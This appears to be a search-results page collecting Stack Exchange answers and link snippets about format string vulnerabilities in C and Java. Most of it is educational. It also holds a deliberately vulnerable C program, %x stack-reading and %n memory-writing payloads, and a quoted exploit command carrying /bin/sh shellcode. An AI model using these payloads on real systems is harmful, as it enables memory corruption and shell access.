There are two high-threat things you can do with format string vulnerabilities in C - leak data and overwrite memory - and neither are relevant in Java. Java's string formatter doesn't even have the "conversion" that is used for overwriting memory, as you noticed. However, Java also is generally safe against such attacks because Java - unlike C - actually checks the number of variadic parameters expected against the number present. If you request a parameter that isn't present - either by index or just by having too many conversions - the formatter will throw an exception. So, there's no way to run off the end of the parameter list and start reading other information from the stack (which is generally not intended to be user-viewable, and may reveal secrets ranging from ASLR masks to cryptographic keys, which could be useful if an attacker can control the format string and invoke the function multiple times).

Interestingly, Java doesn't object if you pass too many variadic parameters - only too few - so you can potentially reveal things that are not normally revealed if the function call is written with excess parameters that aren't usually used. However, that's a pretty unlikely kind of bug, and even then, you could only reveal what those parameters are.

Java's conversions are also type-safe. For example, in C, you can expose pointer values (very valuable when trying to write memory exploits, especially since this can also reveal things like ASLR masks) by asking a format string function to render a pointer (such as to a string) as a numeric type. In Java, that doesn't work; if you pass a string (or any other reference type) and somebody messes with the format string to ask for a hex number, it'll just cause an exception again.

It's worth noting that there is ONE kind of vulnerability possible here: denial of service. An attacker who controls the format string can easily cause the app to throw an exception, for example by supplying the illegal format conversion %0$d (which requests the "zeroeth" parameter as an integer type, when such indices must start at 1). This exception, if uncaught, will cause a crash (even if caught, it may prevent the app from completing its operation correctly). However, as far as I can tell, such denial-of-service risk is the only realistic threat from user-controlled format strings in Java.

Answer from CBHacking on Stack Exchange
🌐
OWASP Foundation
owasp.org › www-community › attacks › Format_string_attack
Format string attack | OWASP Foundation
The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application.
🌐
CTF Handbook
ctf101.org › binary-exploitation › what-is-a-format-string-vulnerability
Format String Vulnerability - CTF Handbook
A format string vulnerability is a bug where user input is passed as the format argument to printf, scanf, or another function in that family.
Top answer
1 of 2
3

There are two high-threat things you can do with format string vulnerabilities in C - leak data and overwrite memory - and neither are relevant in Java. Java's string formatter doesn't even have the "conversion" that is used for overwriting memory, as you noticed. However, Java also is generally safe against such attacks because Java - unlike C - actually checks the number of variadic parameters expected against the number present. If you request a parameter that isn't present - either by index or just by having too many conversions - the formatter will throw an exception. So, there's no way to run off the end of the parameter list and start reading other information from the stack (which is generally not intended to be user-viewable, and may reveal secrets ranging from ASLR masks to cryptographic keys, which could be useful if an attacker can control the format string and invoke the function multiple times).

Interestingly, Java doesn't object if you pass too many variadic parameters - only too few - so you can potentially reveal things that are not normally revealed if the function call is written with excess parameters that aren't usually used. However, that's a pretty unlikely kind of bug, and even then, you could only reveal what those parameters are.

Java's conversions are also type-safe. For example, in C, you can expose pointer values (very valuable when trying to write memory exploits, especially since this can also reveal things like ASLR masks) by asking a format string function to render a pointer (such as to a string) as a numeric type. In Java, that doesn't work; if you pass a string (or any other reference type) and somebody messes with the format string to ask for a hex number, it'll just cause an exception again.

It's worth noting that there is ONE kind of vulnerability possible here: denial of service. An attacker who controls the format string can easily cause the app to throw an exception, for example by supplying the illegal format conversion %0$d (which requests the "zeroeth" parameter as an integer type, when such indices must start at 1). This exception, if uncaught, will cause a crash (even if caught, it may prevent the app from completing its operation correctly). However, as far as I can tell, such denial-of-service risk is the only realistic threat from user-controlled format strings in Java.

2 of 2
2

There are multiple potential vulnerabilities with this:

  • Log injection / log forging
    Depending on how you use the formatted message afterwards, it might be possible to perform log injection, for example to deceive the person reading the log files. However, this is also possible to some extent when the user input is only used as formatting argument.
  • Leaking arguments
    If additional arguments are provided to the format call which are not or only partially included in the formatted message by default, then a user-provided format string could expose these unused arguments.
    While some advisories mention this vulnerability, personally I think this is rather unlikely because the arguments to be leaked already have to part of the formatting call, e.g. String.format(userFormatStr, arg1, secretArg).
  • Denial of service: Runtime exception
    A user-controlled malformed format string could cause runtime exceptions such as a IllegalFormatException. Depending on how your application handles this, it might allow performing a denial of service attack.
  • Denial of service: Memory consumption
    The width of a format specifier can be misused to allocate large amounts of memory. This also works for the specifier %% (e.g. %10000%), so this can be performed regardless of which format arguments are provided.

More information:

  • Fortify: Denial of Service: Format String
  • SEI CERT Oracle Coding Standard for Java: IDS06-J. Exclude unsanitized user input from format strings
  • Tweet by Wouter Coekaerts about width denial of service
🌐
Stanford
cs155.stanford.edu › papers › formatstring-1.2.pdf pdf
Exploiting Format String Vulnerabilities scut / team teso September 1, 2001
September 1, 2001 - articles describing this method of exploitation and if this example is not fully ... It creates a string that is 497 characters long. Together with the error · string (“ERR Wrong command: ”) this exceeds the outbuf buffer by four · bytes. Although the ‘user’ string is only allowed to be as long as 400 bytes, we can extend its length by abusing format string parameters.
🌐
DEV Community
dev.to › duracellrabbid › journey-to-understand-format-string-attack-part-1-5dda
Journey to understand format string attack (Part 1) - DEV Community
October 4, 2024 - Reference 2: Exploit 101 - Format Strings by Alexandre CHERON This article really helped me understand how to use %n and %hn, which were the main stumbling blocks in my understanding to format string attack.
🌐
Seedsecuritylabs
seedsecuritylabs.org › Labs_20.04 › Files › Format_String_x64 › Format_String_x64.pdf pdf
SEED Labs – Format String Vulnerability Lab (64-bit) 1
In the attack, we need to place addresses inside the format string. For 32-bit programs, we can put the · addresses anywhere, because there are no zeros inside the address. We can no longer do this for the 64-bit · programs. If you put an address in the middle of your format string, when ...
🌐
Syracuse University
surface.syr.edu › cgi › viewcontent.cgi pdf
Buffer Overflow and Format String Overflow Vulnerabilities
BUFFER OVERFLOW AND FORMAT STRING OVERFLOW VULNERABILITIES ... Figure 5. A vulnerable program for the non-terminated memory space exploit.
Find elsewhere
Top answer
1 of 6
98

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:


Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.


Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

2 of 6
21

It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:

"%200$p"

to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).

However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.


* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.

🌐
Synacktiv
synacktiv.com › en › publications › exploiting-a-blind-format-string-vulnerability-in-modern-binaries-a-case-study-from
Exploiting a Blind Format String Vulnerability in Modern Binaries: A
October 30, 2024 - The print_debug_msg function allows an attacker to control the format string passed to vsnprintf, leading to potential arbitrary memory writes. This blog post outlines our successful exploitation of this format string vulnerability, employing ...
🌐
SSRN
papers.ssrn.com › sol3 › Delivery.cfm › SSRN_ID3442177_code2682943.pdf
Exploiting Format Strings With Python by Dr Craig S Wright :: SSRN
August 28, 2019 - In this article we will look at format strings in the C and C++ programming languages. In particular, how these may be abused. The article progresses to discuss crafting attacks using python in order to attack through DPA (Direct Parameter Access) such that you can enact a 4-byte overwrite in the DTORS and GOT (Global Access Table) and prepares the reader for a follow-up article on exploiting the GOT and injecting shell code.
🌐
GitHub
github.com › whatsyourask › basics-of-pwn › blob › main › content › format-string › format-string.md
basics-of-pwn/content/format-string/format-string.md at main · whatsyourask/basics-of-pwn
You can see that the address where the strncpy function placed our input string is 0xffffcf08. Thus, you need to determine the offset and do all calculations for the exploit. I just show you my final exploit. shogun@kyoto:~/repos/basics-of-pwn/content/format-string$ ./format-string $(python -c 'print "\x4c\xd0\xff\xff" + "\x4e\xd0\xff\xff" + "S120u" + "%6$n" + "407u" + "%7$n" + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') L���N��� ========================= The long empty output here...
Author   whatsyourask
🌐
Twingate
twingate.com › home › blog › what is a format string attack? how it works & examples
What is a Format String Attack? How It Works & Examples | Twingate
August 7, 2024 - A format string attack is a type of cyberattack that exploits vulnerabilities in the format string operations of software programs. These attacks occur when an application improperly handles input data, allowing attackers to manipulate the format ...
🌐
pwn.college
pwn.college › software-exploitation › format-string-exploits
Format String Exploits
Exploiting format string vulnerabilities is like a locksmith using a special set of tools to subtly manipulate the inner workings of a lock. It involves delicately inserting custom-crafted sequences into a program's output functions, much like ...
🌐
Seguranca-informatica
gitbook.seguranca-informatica.pt › fuzzing-and-web › format-string
Format String Exploitation | Red Teaming and Malware Analysis
A Format String attack can occur when an input string data is processed by a vulnerable function so that attacker can pass the formats to exploit the stack values with the help of format string functions/printf() family functions.
🌐
STEM
stem.elearning.unipd.it › mod › resource › view.php pdf
Format String - Software Security
Format string attack · ● · How to exploit the vulnerability · ● · Countermeasures · Ethical Hacking · Software Security · Format String · ● · printf() - To print out a string according to a format · int printf(const char *format, ...); ● · The argument list of printf() consists ...
🌐
GitHub
github.com › PrateekJain90 › ExploitingFormatStringVulnerabilities
GitHub - PrateekJain90/ExploitingFormatStringVulnerabilities: Research project on Automating Exploitation on Format String Vulnerabilities · GitHub
The tool does multiple executions of the program to find the distance between the format string and its address. Generates an exploit string when provided with the address to overwrite, the address to write and the offset in words.
Starred by 9 users
Forked by 2 users
Languages   Python 72.0% | C 27.6%
🌐
Ostorlab
docs.ostorlab.co › kb › FORMAT_STRING › index.html
Format String Vulnerability
Format string vulnerability occurs when a program does not properly validate or sanitize user input that is used as a format specifier in a formatted output function.
🌐
Gitbook
ir0nstone.gitbook.io › notes › binexp › stack › format-string
Format String Bug | Cybersecurity Notes
March 22, 2021 - The key here is that printf expects as many parameters as format string specifiers, and in 32-bit it grabs these parameters from the stack. If there aren't enough parameters on the stack, it'll just grab the next values - essentially leaking ...